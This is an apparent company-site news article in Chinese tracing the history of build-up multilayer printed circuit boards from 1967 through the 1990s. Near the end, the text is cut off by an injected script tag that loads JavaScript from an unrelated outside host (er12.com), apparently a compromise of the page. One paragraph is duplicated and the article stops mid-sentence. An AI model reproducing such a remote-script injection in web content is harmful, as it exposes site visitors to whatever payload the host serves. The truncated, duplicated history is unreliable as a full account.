积层法多层板发展大记事

  20世纪90年代初开始问世的新一代印制电路板技术—— 积层法多层板(build—up multilayer printed board,简称为 bum)。积层法多层板在世界上各个不同的地区有不同的称谓,在日本通称为积层法多层板, 在美国、欧洲把它称为“高密度互连多层板”,在台湾一般被称为“微孔板”。

  bum的问世,是全世界几十年的印制电路板技术发展历程中的大事件。它的出现,是对传统pcb技术的一个严峻挑战。它是发展高密度pcb的一种很好的产品形式,是pcb尖端技术的典型代表。积层法多层板从兴起,到发展成熟,已经走过了十几个年头。在此期间,它在整个pcb产品的所占比例上,越来越有所提高。它在应用领域上,越来越有所扩大。回顾积层法多层板技术的高速发展过程,研究这类pcb的发展特点,了解它在近年的向高层次发展的现状,了解bum所用基板材料的发展,都对把握整个pcb的发展趋势,掌握pcb的前沿的、尖端的制造技术的动向,是十分有所帮助的。

  日本是大生产性的积层法多层板的发源地所在。日本在bum的生产量上、技术上,一直处于世界领先的地位。因此在编写这个”大记事”中,日本在此方面的发展占有了较地的篇幅。

  本文收集、整理、汇总了多方面的资料,对编写一篇“积层法多层板发展大记事”,作一个尝试。并以飨读者。编写该篇,意在总结一些规律性东西,得到汲取、借鉴、发挥。

  可将积层法多层板发展历程划分为三个阶段:萌芽期阶段(1967年—1990年),兴起期阶段(1991年—1997年),成熟期阶段(1998年至今)。

  1.积层法多层板发展的萌芽期阶段

  (1967年—1990年)

  20世纪90年代创立的bum技术,并非突然的“自天而降”,而是在它的创立前的二十几年内,世界上所出现的pcb或与pcb相关的设备、材料的技术成果,为bum的问世作了先期的探索,和打下了基础、创造了条件。自1967年起,就在有关文献上提及了一些类似于积层法多层板的技术发明,尽管有的成果并未转化为工业化的大生产,但对于90年代后的bum开发者来说,它也起到了启发、借鉴的作用。作为积层法多层板技术重要组成部分之一的激光钻孔技术,在80年代间 欧、美pcb业已经出现了一定的研究成果,为bum的以后的大生产制造创造了必要的条件。

  beadles.r.l(美) 在1967年所提出的“integrated silicon device technology ”的文献,这种称为“ pactel法”的多层板制造工艺是采用在绝缘树脂层上逐次、交替地导体层(铜电镀层)。可以说 pactel法是积层法多层板工艺的雏型。

  beadles.r.l(美) 在1967年所提出的“integrated silicon device technology ”的文献,这种称为“ pactel法”的多层板制造工艺是采用在绝缘树脂层上逐次、交替地导体层(铜电镀层)。可以说 pactel法是积层法多层板工艺的雏型。

  开发出pactel工艺法的搭载裸芯片的多层基板

  美国ibm公司开发出了采用激光加工制作pcb导通孔的技术。

  ntt公司含有薄膜电路的copper polyimide 工艺法的陶瓷基板开发成功。它的绝缘层是由感光性树脂所构成的。导通孔通过对感光树脂的曝光、显影加工而获得。

  finstrate 最早在多层板上采用了盲孔,开发出盲孔开发技术。这种基板制造是在聚四氟乙烯树脂基材上,用co2激光机进行孔的加工。

  欧洲pcb厂家用受激准分子激光机对多层印制电路板进行微小通孔的加工。所制出的基板,开始用于西门子公司的大型计算机的主板上。

  由日本开发的、专门适用于pcb的微小孔径加工的激光钻孔机,在世界上最先问世。这一高水平加工设备的研制成功,对以后两、三年的激光钻孔工艺的bum的开发,创造了一个很好的条件。

  2.积层法多层板发展的兴起期阶段

  (1991年—1997年)

  积层法多层板在世界上各个不同的地区有不同的称谓,在日本通称为积层法多层板, 在美国、欧洲把它称为“高密度互连多层板”,在台湾一般被称为“微孔板”。积层法多层板(bum)在20世纪90年代初诞生,之后在90年代的初\中期得到迅速发展。

  在积层法多层板技术开发的初期阶段,世界上日本等国的许多pcb厂家,在强大的技术竞争压力之下,在“整机厂— 组装厂— 印制电路板厂— 基板材料厂— 基板材料的原材料厂 ”的联手攻关、共同开发的新研发模式下,使其bum开发工作大大地加快了从试验向大生产、应用过渡的步伐。他们以极为活跃的开发思路,极大的创造性,打破了几十年的pcb传统工艺。他们在新工艺、新材料的创造上各显神通,又相互技术的渗透和启发,使一些新技术、新工艺—— 像盲 / 埋孔,激光钻孔,树脂或金属膏填充导通孔等,都得到了很快的应用。这些技术开发成果的出现,给印制电路板工艺技术带来了质上的飞跃。为此,在这个时期的bum的兴起和发展的经验、特点,在现今发?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态